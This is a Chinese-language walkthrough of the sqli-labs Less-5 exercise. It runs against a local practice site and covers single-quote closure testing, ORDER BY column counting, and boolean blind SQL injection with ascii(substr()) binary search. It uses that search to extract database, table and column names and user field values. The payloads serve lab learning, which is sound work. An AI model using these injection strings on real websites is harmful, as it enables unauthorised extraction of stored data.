less-5
第一步：
http://localhost/sqli/Less-5/?id=1’ 得到错误’1’’
因此单引号闭合使用order by http://localhost/sqli/Less-5/?id=1’ order by 3–+
得到字段数为3
第二步：
页面没有回显，进行bool盲注测试
**数据库：
？id=1’ and ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))<100–+？id=1’ and ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))<110–+
？id=1’ and ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))<105–+
？id=1’ and ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))<106–+
得到ascii的值为105,通过ipython 得到原字母
substr(a,b,c) select substr() XXXX substr(a,b,c)从位置b开始，截取a字符串c位长度
所以第二个字符的判断方法为：？id=1’ and ascii(substr((select schema_name from information_schema.schemata limit 0,1),2,1))<106–+
以此类推，当id=1’ and ascii(substr((select schema_name from information_schema.schemata limit 0,1),2,1))=0–+数据库名判断完毕
limit 0，1; 其中第一位是从第几个开始，比如0代表从第一个开始，而第二位的1代表就是显示多少个数据
所以第二个数据库判断方法为：？id=1’ and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1))<106–+
同样使用二分法得到数据库名
？id=1’ and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1))<1000–+ 修改此语句的limit 1，1来判断有多少个数据库
**表名
http://127.0.0.1/sqli/Less-5/?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 1,1),1,1))>1–+
**字段
http://127.0.0.1/sqli/Less-5/?id=1’ and ascii(substr((select column_name from information_schema.columns where table_name=‘users’ limit 1,1),1,1)) >1 --+
**字段值
http://127.0.0.1/sqli/Less-5/?id=1’ and ascii(substr((select username from security.users limit 1,1),1,1))>1–+继续猜解即可得到字段内的值。
**表名和字段名与**数据库方法类似，字段值只需要**出一组即可
less6与5类似